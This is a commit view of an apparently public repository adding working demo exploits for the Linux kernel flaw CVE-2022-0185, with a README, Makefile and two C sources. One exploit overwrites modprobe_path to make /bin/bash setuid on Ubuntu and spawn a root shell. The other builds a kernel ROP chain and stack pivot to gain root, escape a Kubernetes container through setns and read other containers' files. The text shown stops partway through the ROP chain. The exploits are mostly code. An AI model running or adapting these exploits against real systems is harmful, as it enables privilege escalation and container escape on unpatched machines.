Projects STRLCPY CVE-2022-0185 Commits 09ffda1d
🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    Makefile
     1 +kctf:
     2 + gcc -no-pie -static exploit_kctf.c util.c -o exploit -masm=intel -pthread
     3 + strip exploit
     4 + 
     5 +fuse:
     6 + gcc -no-pie -static exploit_fuse.c fakefuse.c util.c -I./libfuse libfuse3.a -o exploit -masm=intel -pthread
     7 + strip exploit
     8 + 
     9 + 
  • ■ ■ ■ ■ ■
    README.md
    1 1  # CVE-2022-0185
    2 2   
    3  -Sample Ubuntu LPEs and container escapes coming soon.
     3 +This repo contains demo exploits for CVE-2022-0185. There are two versions here.
    4 4   
    5  -[demo](https://twitter.com/ryaagard/status/1483592308352294917)
     5 +The non-kctf version (fuse version) specifically targets Ubuntu with kernel version 5.11.0-44. It does not directly return a root shell, but makes /bin/bash suid, which will lead to trivial privilege escalation. Adjusting the `single_start` and `modprobe_path` offsets should allow it to work on most other Ubuntu versions that have kernel version 5.7 or higher; for versions between 5.1 and 5.7, the spray will need to be improved as in the kctf version. The exploitation strategy relies on FUSE and SYSVIPC elastic objects to achieve arbitrary write.
     6 + 
     7 +The kctf version achieves RCE as the root user in the root namespace, but has at most 50% reliability - it is targeted towards Kubernetes 1.22 (1.22.3-gke.700). This exploitation strategy relies on pipes and SYSVIPC elastic objects to trigger a stack pivot and execute a ROP chain in kernelspace.
     8 + 
     9 +[demo against Ubuntu with kernel version 5.13.0-25](https://twitter.com/ryaagard/status/1483592308352294917)
     10 + 
     11 +[demo against Google kCTF Infrastructure](https://twitter.com/clubby789/status/1484646192990543883)
     12 + 
     13 +[exploitation writeup](https://www.willsroot.io/2022/01/cve-2022-0185.html)
    6 14   
  • ■ ■ ■ ■ ■ ■
    exploit_fuse.c
     1 +#define _GNU_SOURCE
     2 +#include <stdbool.h>
     3 +#include <sys/mman.h>
     4 +#include <stdio.h>
     5 +#include <string.h>
     6 +#include <unistd.h>
     7 +#include <stdlib.h>
     8 +#include <pthread.h>
     9 +#include <stdint.h>
     10 +#include "fakefuse.h"
     11 + 
     12 +int fd = -1;
     13 + 
     14 +uint64_t modprobe_path;
     15 +uint64_t offsets[] = {0x3400b0, 0x1c6c2e0};
     16 +enum {SINGLE_START = 0, MODPROBE};
     17 + 
     18 +void debug()
     19 +{
     20 + puts("Paused...");
     21 + getchar();
     22 +}
     23 + 
     24 +uint64_t do_check_leak(char *buf)
     25 +{
     26 + uint64_t kbase = ((uint64_t *)buf)[510] - offsets[SINGLE_START];
     27 + if (kbase & 0x1fffff || kbase == 0 || (kbase & (0xfffffful << 40)) != ((0xfffffful << 40))) {
     28 + return 0;
     29 + }
     30 + return kbase;
     31 +}
     32 + 
     33 +uint64_t do_leak ()
     34 +{
     35 + uint64_t kbase = 0;
     36 + char pat[0x1000] = {0};
     37 + char buffer[0x2000] = {0}, recieved[0x2000] = {0};
     38 + int targets[0x10] = {0};
     39 + msg *message = (msg *)buffer;
     40 + int size = 0x1018;
     41 + 
     42 + // spray msg_msg
     43 + for (int i = 0; i < 8; i++)
     44 + {
     45 + memset(buffer, 0x41+i, sizeof(buffer));
     46 + targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
     47 + send_msg(targets[i], message, size - 0x30, 0);
     48 + }
     49 + 
     50 + memset(pat, 0x42, sizeof(pat));
     51 + pat[sizeof(pat)-1] = '\x00';
     52 + puts("[*] Opening ext4 filesystem");
     53 + 
     54 + fd = fsopen("ext4", 0);
     55 + if (fd < 0)
     56 + {
     57 + puts("fsopen: Remember to unshare");
     58 + exit(-1);
     59 + }
     60 + 
     61 + strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
     62 + for (int i = 0; i < 117; i++)
     63 + {
     64 + fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
     65 + }
     66 +
     67 + // overflow, hopefully causes an OOB read on a potential msg_msg object below
     68 + puts("[*] Overflowing...");
     69 + pat[21] = '\x00';
     70 + char evil[] = "\x60\x10";
     71 + fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
     72 + 
     73 + // spray more msg_msg
     74 + for (int i = 8; i < 0x10; i++)
     75 + {
     76 + memset(buffer, 0x41+i, sizeof(buffer));
     77 + targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
     78 + send_msg(targets[i], message, size - 0x30, 0);
     79 + }
     80 + 
     81 + fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
     82 + 
     83 + puts("[*] Done heap overflow");
     84 + puts("[*] Spraying kmalloc-32");
     85 + for (int i = 0; i < 100; i++)
     86 + {
     87 + open("/proc/self/stat", O_RDONLY);
     88 + }
     89 + 
     90 + size = 0x1060;
     91 + puts("[*] Attempting to recieve corrupted size and leak data");
     92 + 
     93 + // go through all targets qids and check if we hopefully get a leak
     94 + for (int j = 0; j < 0x10; j++)
     95 + {
     96 + get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
     97 + kbase = do_check_leak(recieved);
     98 + if (kbase)
     99 + {
     100 + close(fd);
     101 + return kbase;
     102 + }
     103 + }
     104 + 
     105 + puts("[X] No leaks, trying again");
     106 + return 0;
     107 +}
     108 + 
     109 +// overflow to change msg_msg.next to modprobe_path - 8
     110 +void *arb_write(void *args)
     111 +{
     112 + uint64_t goal = modprobe_path - 8;
     113 + char pat[0x1000] = {0};
     114 + memset(pat, 0x41, 29);
     115 + char evil[0x20];
     116 + memcpy(evil, (void *)&goal, 8);
     117 + fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
     118 + fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
     119 + puts("[*] Done heap overflow");
     120 + write(fuse_pipes[1], "A", 1);
     121 +}
     122 + 
     123 +// msg_msg arb write trick by hanging before msgseg on usercopy
     124 +// use FUSE to time the race
     125 +void do_win()
     126 +{
     127 + int size = 0x1000;
     128 + char buffer[0x2000] = {0};
     129 + char pat[0x1000] = {0};
     130 + msg* message = (msg*)buffer;
     131 + memset(buffer, 0x44, sizeof(buffer));
     132 + 
     133 + void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
     134 + uint64_t race_page = 0x1338000;
     135 + msg *rooter = (msg *)(race_page-0x8);
     136 + rooter->mtype = 1;
     137 + size = 0x1010;
     138 + 
     139 + int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
     140 + send_msg(target, message, size - 0x30, 0);
     141 + 
     142 + puts("[*] Opening ext4 filesystem");
     143 + fd = fsopen("ext4", 0);
     144 + if (fd < 0)
     145 + {
     146 + puts("Opening");
     147 + exit(-1);
     148 + }
     149 + puts("[*] Overflowing...");
     150 + strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
     151 + for (int i = 0; i < 117; i++)
     152 + {
     153 + fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
     154 + }
     155 +
     156 + puts("[*] Prepaing fault handlers via FUSE");
     157 + int evil_fd = open("evil/evil", O_RDWR);
     158 + if (evil_fd < 0)
     159 + {
     160 + perror("evil fd failed");
     161 + exit(-1);
     162 + }
     163 + if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
     164 + {
     165 + perror("mmap fail fuse 1");
     166 + exit(-1);
     167 + }
     168 + 
     169 + pthread_t thread;
     170 + int race = pthread_create(&thread, NULL, arb_write, NULL);
     171 + if(race != 0)
     172 + {
     173 + perror("can't setup threads for race");
     174 + }
     175 + send_msg(target, rooter, size - 0x30, 0);
     176 + pthread_join(thread, NULL);
     177 + munmap((void *)0x1337000, 0x1000);
     178 + munmap((void *)0x1338000, 0x1000);
     179 + close(evil_fd);
     180 + close(fd);
     181 +}
     182 + 
     183 +void spray_4k(int spray)
     184 +{
     185 + char buffer[0x2000] = {0}, recieved[0x2000] = {0};
     186 + msg *message = (msg *)buffer;
     187 + int size = 0x1000;
     188 + 
     189 + memset(buffer, 0x41, sizeof(buffer));
     190 + for (int i = 0; i < spray; i++)
     191 + {
     192 + int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
     193 + send_msg(spray, message, size - 0x30, 0);
     194 + }
     195 +}
     196 + 
     197 +void modprobe_init()
     198 +{
     199 + char filename[65];
     200 + memset(filename, 0, sizeof(filename));
     201 + int fd = open(modprobe_trigger, O_RDWR | O_CREAT);
     202 + if (fd < 0)
     203 + {
     204 + perror("trigger creation failed");
     205 + exit(-1);
     206 + }
     207 + char root[] = "\xff\xff\xff\xff";
     208 + write(fd, root, sizeof(root));
     209 + close(fd);
     210 + char w[] = "#!/bin/sh\nchmod u+s " SHELL "\n";
     211 + chmod(modprobe_trigger, 0777);
     212 + fd = open(modprobe_win, O_RDWR | O_CREAT);
     213 + if (fd < 0)
     214 + {
     215 + perror("winner creation failed");
     216 + exit(-1);
     217 + }
     218 + write(fd, w, sizeof(w));
     219 + close(fd);
     220 + chmod(modprobe_win, 0777);
     221 + return;
     222 +}
     223 + 
     224 +void modprobe_hax()
     225 +{
     226 + puts("[*] Attempting to trigger modprobe");
     227 + execve(modprobe_trigger, NULL, NULL);
     228 + return;
     229 +}
     230 + 
     231 +void unshare_setup(uid_t uid, gid_t gid)
     232 +{
     233 + int temp;
     234 + char edit[0x100];
     235 + unshare(CLONE_NEWNS|CLONE_NEWUSER);
     236 + temp = open("/proc/self/setgroups", O_WRONLY);
     237 + write(temp, "deny", strlen("deny"));
     238 + close(temp);
     239 + temp = open("/proc/self/uid_map", O_WRONLY);
     240 + snprintf(edit, sizeof(edit), "0 %d 1", uid);
     241 + write(temp, edit, strlen(edit));
     242 + close(temp);
     243 + temp = open("/proc/self/gid_map", O_WRONLY);
     244 + snprintf(edit, sizeof(edit), "0 %d 1", gid);
     245 + write(temp, edit, strlen(edit));
     246 + close(temp);
     247 + return;
     248 +}
     249 + 
     250 +static const struct fuse_operations evil_ops = {
     251 + .getattr = evil_getattr,
     252 + .readdir = evil_readdir,
     253 + .read = evil_read,
     254 +};
     255 + 
     256 +char *fargs_evil[] = {"exploit", "evil", NULL };
     257 + 
     258 +int main(int argc, char **argv, char **envp)
     259 +{
     260 + fargs_evil[0] = argv[0];
     261 + unshare_setup(getuid(), getgid());
     262 + mkdir(MNT_PATH, 0777);
     263 + pipe(fuse_pipes);
     264 + modprobe_init();
     265 + 
     266 + if (!fork())
     267 + {
     268 + fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
     269 + }
     270 + 
     271 + sleep(1);
     272 + spray_4k(30);
     273 + uint64_t kbase = 0;
     274 + while(!kbase)
     275 + {
     276 + kbase = do_leak();
     277 + }
     278 + printf("[*] Kernel base 0x%lx\n", kbase);
     279 + modprobe_path = (uint64_t)(kbase + (offsets[MODPROBE]));
     280 + printf("[*] modprobe_path: 0x%lx\n", modprobe_path);
     281 +
     282 + spray_4k(30);
     283 + while (1)
     284 + {
     285 + do_win();
     286 + modprobe_hax();
     287 + struct stat check;
     288 + if (stat(SHELL, &check) < 0)
     289 + {
     290 + perror("Error on checking");
     291 + exit(-1);
     292 + }
     293 + if (check.st_mode & S_ISUID)
     294 + {
     295 + break;
     296 + }
     297 + }
     298 +
     299 + puts("[*] Exploit success! " SHELL " is SUID now!");
     300 + puts("[+] Popping shell");
     301 + execve(SHELL, root_argv, NULL);
     302 + return 0;
     303 +}
  • ■ ■ ■ ■ ■ ■
    exploit_kctf.c
     1 +#define _GNU_SOURCE
     2 +#include <stdbool.h>
     3 +#include <sys/mman.h>
     4 +#include <stdio.h>
     5 +#include <string.h>
     6 +#include <unistd.h>
     7 +#include <stdlib.h>
     8 +#include <pthread.h>
     9 +#include <stdint.h>
     10 + 
     11 +#include "util.h"
     12 + 
     13 +// 5.10.68+, spray targeted on Google Kubernetes
     14 +#define H_SPRAY 7
     15 +#define K_SPRAY 6
     16 +#define P_SPRAY 6
     17 +#define PIPES 50
     18 +#define ROP_SPRAY 0x100
     19 +#define SPRAY_32 100
     20 +#define SPRAY_512 0x100
     21 +#define SPRAY_1k 80
     22 +#define SPRAY_4K 0x1000
     23 + 
     24 +//mov rsp, rax ; pop rbp ; ret; 0xffffffff81065879
     25 +uint64_t stack_pivot = 0xffffffff8106ed69ull - 0xffffffff81000000ull;
     26 +uint64_t ud2 = 0xffffffff8104160full - 0xffffffff81000000ull;
     27 +uint64_t commit_creds = 0xffffffff810b21a0ull - 0xffffffff81000000ull;
     28 +uint64_t prepare_kernel_cred = 0xffffffff810b2590ull - 0xffffffff81000000ull;
     29 +uint64_t switch_task_namespaces = 0xffffffff810b0110ull - 0xffffffff81000000ull;
     30 +uint64_t find_task_by_vpid = 0xffffffff810a7f20ull - 0xffffffff81000000ull;
     31 +uint64_t init_nsproxy = 0xffffffff82657420ull - 0xffffffff81000000ull;
     32 +uint64_t kpti_trampoline = 0xffffffff81c00e90ull + 0x16 - 0xffffffff81000000ull;
     33 +//: pop rdi ; ret ;
     34 +uint64_t pop_rdi = 0xffffffff81076950ull - 0xffffffff81000000ull;
     35 +//: pop rsi ; ret ;
     36 +uint64_t pop_rsi = 0xffffffff81048fadull - 0xffffffff81000000ull;
     37 +//: test esi, esi ; cmovne rdi, rax ; mov rax, qword [rdi] ; pop rbp ; ret ;
     38 +uint64_t cmov_rdi_rax_esi_nz_pop_rbp = 0xffffffff81674342ull - 0xffffffff81000000ull;
     39 + 
     40 +typedef struct
     41 +{
     42 + uint64_t kmalloc_1024_leak;
     43 + uint64_t kmalloc_512_leak;
     44 +}double_heap_leaks;
     45 + 
     46 +int fd = 0;
     47 + 
     48 +int pipefd[PIPES][2];
     49 + 
     50 +int spray_512_qid[0x10000] = {0};
     51 + 
     52 +int rop_msg_qid[ROP_SPRAY];
     53 + 
     54 +int spray_4k_qid[0x10000] = {0}; // useful to dump later
     55 +int spray_4k_count = 0;
     56 +int spray_4k_used = 0;
     57 + 
     58 +void debug()
     59 +{
     60 + puts("Paused...");
     61 + getchar();
     62 +}
     63 + 
     64 +void deplete_512()
     65 +{
     66 + char buffer[0x2000] = {0}, recieved[0x2000] = {0};
     67 + msg *message = (msg *)buffer;
     68 + int size = 0x1000;
     69 + for (int i = 0; i < SPRAY_512; i++)
     70 + {
     71 + get_msg(spray_512_qid[i], recieved, 0x200 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);
     72 + }
     73 + return;
     74 +}
     75 + 
     76 +void spray_512()
     77 +{
     78 + char buffer[0x2000] = {0}, recieved[0x2000] = {0};
     79 + msg *message = (msg *)buffer;
     80 + int size = 0x1000;
     81 + memset(buffer, 0x41, sizeof(buffer));
     82 + for (int i = 0; i < SPRAY_512; i++)
     83 + {
     84 + int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
     85 + send_msg(spray, message, 0x200 - 0x30, 0);
     86 + spray_512_qid[i] = spray;
     87 + }
     88 + return;
     89 +}
     90 + 
     91 +void stuff_4k(int count)
     92 +{
     93 + char recieved[0x2000] = {0};
     94 + for (int i = 0; i < count; i++)
     95 + {
     96 + if (spray_4k_used == spray_4k_count)
     97 + {
     98 + puts("nothing more left to help");
     99 + exit(-1);
     100 + }
     101 + get_msg(spray_4k_qid[spray_4k_used++], recieved, 0x1000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);
     102 + }
     103 + return;
     104 +}
     105 + 
     106 +void deplete_4k()
     107 +{
     108 + char recieved[0x2000] = {0};
     109 + while (spray_4k_used != spray_4k_count)
     110 + {
     111 + get_msg(spray_4k_qid[spray_4k_used++], recieved, 0x1000-0x30, 0, IPC_NOWAIT | MSG_NOERROR);
     112 + }
     113 + spray_4k_used = 0;
     114 + spray_4k_count = 0;
     115 + return;
     116 +}
     117 + 
     118 +void spray_4k()
     119 +{
     120 + char buffer[0x2000] = {0}, recieved[0x2000] = {0};
     121 + msg *message = (msg *)buffer;
     122 + int size = 0x1000;
     123 + 
     124 + memset(buffer, 0x41, sizeof(buffer));
     125 + for (int i = 0; i < SPRAY_4K; i++)
     126 + {
     127 + int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
     128 + send_msg(spray, message, size - 0x30, 0);
     129 + spray_4k_qid[spray_4k_count++] = spray;
     130 + }
     131 + return;
     132 +}
     133 + 
     134 +void generic_spray(uint64_t size, uint64_t count)
     135 +{
     136 + char buffer[0x2000] = {0}, recieved[0x2000] = {0};
     137 + msg *message = (msg *)buffer;
     138 + 
     139 + memset(buffer, 0x41, sizeof(buffer));
     140 + for (int i = 0; i < count; i++)
     141 + {
     142 + int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
     143 + send_msg(spray, message, size - 0x30, 0);
     144 + }
     145 + return;
     146 +}
     147 + 
     148 +uint64_t do_check_leak(char *buf)
     149 +{
     150 + uint64_t kbase = (((unsigned long*)buf)[510] - 0x30e700)&0xffffffffffffff00;
     151 + if (kbase & 0x1fffff || (void*)kbase == NULL || (kbase & (0xfffffful << 40)) != ((0xfffffful << 40)))
     152 + {
     153 + return 0;
     154 + }
     155 + return kbase;
     156 +}
     157 + 
     158 +uint64_t do_kaslr_leak ()
     159 +{
     160 + uint64_t kbase = 0;
     161 + char pat[0x1000] = {0};
     162 + char buffer[0x2000] = {0}, recieved[0x2000] = {0};
     163 + msg *message = (msg *)buffer;
     164 + int size = 0x1018;
     165 + 
     166 + int targets[K_SPRAY] = {0};
     167 + int i;
     168 + for (i = 0; i < K_SPRAY; i++)
     169 + {
     170 + memset(buffer, 0x41+i, sizeof(buffer));
     171 + targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
     172 + send_msg(targets[i], message, size - 0x30, 0);
     173 + }
     174 + 
     175 + puts("[*] Spraying kmalloc-32");
     176 + int kmalloc_32_fd[SPRAY_32];
     177 + for (int i = 0; i < SPRAY_32; i++)
     178 + {
     179 + kmalloc_32_fd[i] = open("/proc/self/stat", O_RDONLY);
     180 + }
     181 + 
     182 + // trigger hole hopefully
     183 + get_msg(targets[0], recieved, size - 0x30, 0, MSG_NOERROR | IPC_NOWAIT | MSG_COPY);
     184 + 
     185 + memset(pat, 0x42, sizeof(pat));
     186 + pat[sizeof(pat)-1] = '\x00';
     187 + puts("[*] Opening ext4 filesystem");
     188 + 
     189 + fd = fsopen("ext4", 0);
     190 + if (fd < 0)
     191 + {
     192 + puts("fsopen: Remember to unshare");
     193 + exit(-1);
     194 + }
     195 + 
     196 + puts("[*] Overflowing...");
     197 + strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
     198 + for (int i = 0; i < 117; i++)
     199 + {
     200 + fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
     201 + }
     202 + 
     203 + // free some
     204 + stuff_4k(16);
     205 + 
     206 + // overflow to tamper size for OOB read
     207 + pat[21] = '\x00';
     208 + char evil[] = "\x60\x10";
     209 + fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
     210 + fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
     211 + puts("[*] Done heap overflow");
     212 + 
     213 + size = 0x1060;
     214 + puts("[*] Checking for kernel leaks");
     215 + 
     216 + // go through all targets qids and check if we get a leak
     217 + for (int i = 0; i < K_SPRAY; i++)
     218 + {
     219 + get_msg(targets[i], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
     220 + kbase = do_check_leak(recieved);
     221 + if (kbase)
     222 + {
     223 + return kbase;
     224 + }
     225 + }
     226 + 
     227 + puts("[X] No leaks, trying again");
     228 + // free some and cleanup
     229 + close(fd);
     230 + stuff_4k(16);
     231 + for (int i = 0; i < SPRAY_32; i++)
     232 + {
     233 + close(kmalloc_32_fd[i]);
     234 + }
     235 + return 0;
     236 +}
     237 + 
     238 +double_heap_leaks do_heap_leaks()
     239 +{
     240 + uint64_t kmalloc_1024 = 0;
     241 + uint64_t kmalloc_512 = 0;
     242 + char pivot_spray[0x2000] = {0};
     243 + uint64_t *pivot_spray_ptr = (uint64_t *)pivot_spray;
     244 + double_heap_leaks leaks = {0};
     245 + int linked_msg[256] = {0};
     246 + char pat[0x1000] = {0};
     247 + char buffer[0x2000] = {0}, recieved[0x2000] = {0};
     248 + msg *message = (msg *)buffer;
     249 + 
     250 + // spray kmalloc-512 linked to kmalloc-64 linked to kmalloc-1024 in unique msg queues
     251 + for (int i = 0; i < 255; i++)
     252 + {
     253 + linked_msg[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
     254 + memset(pivot_spray, 0x0, sizeof(pivot_spray));
     255 + pivot_spray_ptr[0] = 1;
     256 + for (int i = 0; i < 10;i ++)
     257 + {
     258 + pivot_spray_ptr[i+1] = stack_pivot;
     259 + }
     260 + 
     261 + // spray pivots using kmalloc-512 allocations
     262 + send_msg(linked_msg[i], pivot_spray, 0x200 - 0x30, 0);
     263 + memset(buffer, 0x1+i, sizeof(buffer));
     264 + message->mtype = 2;
     265 + send_msg(linked_msg[i], message, 0x40 - 0x30, 0);
     266 + message->mtype = 3;
     267 + send_msg(linked_msg[i], message, 0x400 - 0x30 - 0x40, 0);
     268 + }
     269 + 
     270 + int size = 0x1038;
     271 + int targets[H_SPRAY] = {0};
     272 + 
     273 + for (int i = 0; i < H_SPRAY; i++)
     274 + {
     275 + memset(buffer, 0x41+i, sizeof(buffer));
     276 + targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
     277 + send_msg(targets[i], message, size - 0x30, 0);
     278 + }
     279 + 
     280 + // create hole hopefully
     281 + get_msg(targets[0], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
     282 + 
     283 + puts("[*] Opening ext4 filesystem");
     284 + fd = fsopen("ext4", 0);
     285 + if (fd < 0)
     286 + {
     287 + puts("fsopen: Remember to unshare");
     288 + exit(-1);
     289 + }
     290 + 
     291 + strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
     292 + for (int i = 0; i < 117; i++)
     293 + {
     294 + fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
     295 + }
     296 + 
     297 + // fill it a bit to help prevent potential crashes on MSG_COPY
     298 + stuff_4k(16);
     299 + 
     300 + puts("[*] Overflowing...");
     301 + pat[21] = '\x00';
     302 + char evil[] = "\x60\x19";
     303 + fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
     304 + fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
     305 + puts("[*] Done heap overflow");
     306 + 
     307 + size = 0x1960;
     308 + puts("[*] Receiving corrupted size and leak data");
     309 + // go through all targets qids and check if we hopefully get a leak
     310 + for (int i = 0; i < H_SPRAY; i++)
     311 + {
     312 + get_msg(targets[i], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
     313 + for (int j = 0x202; j < 0x202 + (0x1960-0x1010) / 8; j++)
     314 + {
     315 + uint64_t *dump = (uint64_t *)recieved;
     316 + if (dump[j] == 0x2 && dump[j+1] == 0x10 && dump[j+4] == dump[j+5])
     317 + {
     318 + kmalloc_1024 = dump[j-2];
     319 + kmalloc_512 = dump[j-1];
     320 + 
     321 + // delete chunk 1024, chunk 512 already has sprayed pivots
     322 + uint8_t target_idx = (dump[j+4] & 0xff) - 1;
     323 + 
     324 + get_msg(linked_msg[target_idx], recieved, 0x400 - 0x30, 3, IPC_NOWAIT | MSG_NOERROR);
     325 + 
     326 + // spray to replace with pipe_buffer, thanks LIFO!
     327 + for (int k = 0; k < PIPES; k++)
     328 + {
     329 + if (pipe(pipefd[k]) < 0)
     330 + {
     331 + perror("pipe failed");
     332 + exit(-1);
     333 + }
     334 + write(pipefd[k][1], "pwnage", 7);
     335 + }
     336 + break;
     337 + }
     338 + }
     339 + if (kmalloc_1024 != 0)
     340 + {
     341 + break;
     342 + }
     343 + }
     344 + close(fd);
     345 + 
     346 + if (!kmalloc_1024)
     347 + {
     348 + puts("[X] No leaks, trying again");
     349 + stuff_4k(16);
     350 + return leaks;
     351 + }
     352 + leaks.kmalloc_1024_leak = kmalloc_1024;
     353 + leaks.kmalloc_512_leak = kmalloc_512;
     354 + return leaks;
     355 +}
     356 + 
     357 + 
     358 +void dump_flag()
     359 +{
     360 + char buf[200] = {0};
     361 + for (int i = 0; i < 4194304; i++)
     362 + {
     363 + // bruteforce root namespace pid equivalent of the other container's sleep process
     364 + snprintf(buf, sizeof(buf), "/proc/%d/root/flag/flag", i);
     365 + int fd = open(buf, O_RDONLY);
     366 + if (fd < 0)
     367 + {
     368 + continue;
     369 + }
     370 + puts("🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲");
     371 + read(fd, buf, 100);
     372 + write(1, buf, 100);
     373 + puts("🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲");
     374 + close(fd);
     375 + }
     376 + return;
     377 +}
     378 + 
     379 +__attribute__((naked)) win()
     380 +{
     381 + // thanks movaps sooooooo much
     382 + asm volatile(
     383 + "mov rbp, rsp;"
     384 + "and rsp, -0xf;"
     385 + "call dump_flag;"
     386 + "mov rsp, rbp;"
     387 + "ret;");
     388 +}
     389 + 
     390 +void pwned()
     391 +{
     392 + write(1, "ROOOOOOOOOOOT\n", 14);
     393 + setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
     394 + setns(open("/proc/1/ns/pid", O_RDONLY), 0);
     395 + setns(open("/proc/1/ns/net", O_RDONLY), 0);
     396 + win();
     397 + char *args[] = {"/bin/sh", NULL};
     398 + execve("/bin/sh", args, NULL);
     399 + _exit(0);
     400 +}
     401 + 
     402 +void do_win(uint64_t kmalloc_512, uint64_t kmalloc_1024)
     403 +{
     404 + int size = 0x1000;
     405 + int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
     406 + char buffer[0x2000] = {0}, recieved[0x2000] = {0};
     407 + char pat[0x40] = {0};
     408 + msg* message = (msg*)buffer;
     409 + memset(buffer, 0x44, sizeof(buffer));
     410 + int ready = 0;
     411 + int ignition_target = -1;
     412 + 
     413 + // doesn't matter as long as valid pointers
     414 + uint64_t next_target = kmalloc_1024 + 0x440;
     415 + uint64_t prev_target = kmalloc_512 + 0x440;
     416 + 
     417 + // set up arb free primitive, avoid tripping hardened usercopy when re-alloc with msg_msg
     418 + uint64_t free_target = kmalloc_1024 - 0x20;
     419 + uint64_t make_sec_happy = kmalloc_512 - 0x20;
     420 + 
     421 + stuff_4k(16);
     422 + 
     423 + int targets[P_SPRAY] = {0};
     424 + 
     425 + while (!ready)
     426 + {
     427 + for (int i = 0; i < P_SPRAY; i++)
     428 + {
     429 + memset(buffer, 0x41+i, sizeof(buffer));
     430 + targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
     431 + send_msg(targets[i], message, size - 0x30, 0);
     432 + }
     433 + 
     434 + get_msg(targets[0], recieved, size-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
     435 + 
     436 + // misaligned arb free attack
     437 + fd = fsopen("ext4", 0);
     438 + if (fd < 0)
     439 + {
     440 + puts("Opening");
     441 + exit(-1);
     442 + }
     443 + 
     444 + strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
     445 + for (int i = 0; i < 117; i++) {
     446 + fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
     447 + }
     448 + puts("[*] Done heap overflow");
     449 + 
     450 + char evil[0x40] = {0};
     451 + uint64_t *evil_ptr = (uint64_t *)evil;
     452 + memset(evil, 0x41, 0x30);
     453 + evil_ptr[0] = next_target;
     454 + evil_ptr[1] = prev_target;
     455 + evil_ptr[4] = free_target;
     456 + evil_ptr[5] = make_sec_happy;
     457 + 
     458 + // in case null bytes in addresses
     459 + if(strlen(evil) != 0x30)
     460 + {
     461 + puts("unable to continue given heap addresses");
     462 + exit(-1);
     463 + }
     464 + 
     465 + puts("[*] Overflowing...");
     466 + fsconfig(fd, FSCONFIG_SET_STRING, evil, "\x00", 0);
     467 + puts("check heap to check preparedness for ignition");
     468 + 
     469 + stuff_4k(16);
     470 + 
     471 + for (int i = 0; i < P_SPRAY; i++)
     472 + {
     473 + memset(recieved, 0, sizeof(recieved));
     474 + // rely on error code to determine if we have found our target which we overflowed into
     475 + int ret = get_msg_no_err(targets[i], recieved, size+0x50-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
     476 + if (ret < 0)
     477 + {
     478 + ready = 1;
     479 + ignition_target = i;
     480 + break;
     481 + }
     482 + }
     483 + 
     484 + if (!ready)
     485 + {
     486 + puts("nothing ready for ignition, trying again");
     487 + // re-stuff freelist and stabilize
     488 + stuff_4k(16);
     489 + }
     490 + }
     491 + 
     492 + char overwrite[0x300] = {0};
     493 + memset(overwrite, 0x41, sizeof(overwrite));
     494 + uint64_t *overwrite_ptr = (uint64_t *)overwrite;
     495 + 
     496 + // redirect to "table" of stack pivots
     497 + overwrite_ptr[1] = kmalloc_512 + 0x50;
     498 + 
     499 + uint64_t user_rflags, user_cs, user_ss, user_sp;
     500 + asm volatile(
     501 + "mov %0, %%cs\n"
     502 + "mov %1, %%ss\n"
     503 + "mov %2, %%rsp\n"
     504 + "pushfq\n"
     505 + "pop %3\n"
     506 + : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags)
     507 + );
     508 + 
     509 + uint64_t chain[] =
     510 + {
     511 + pop_rdi,
     512 + 0,
     513 + prepare_kernel_cred,
     514 + pop_rsi,
     515 + 0xbaadbabe,
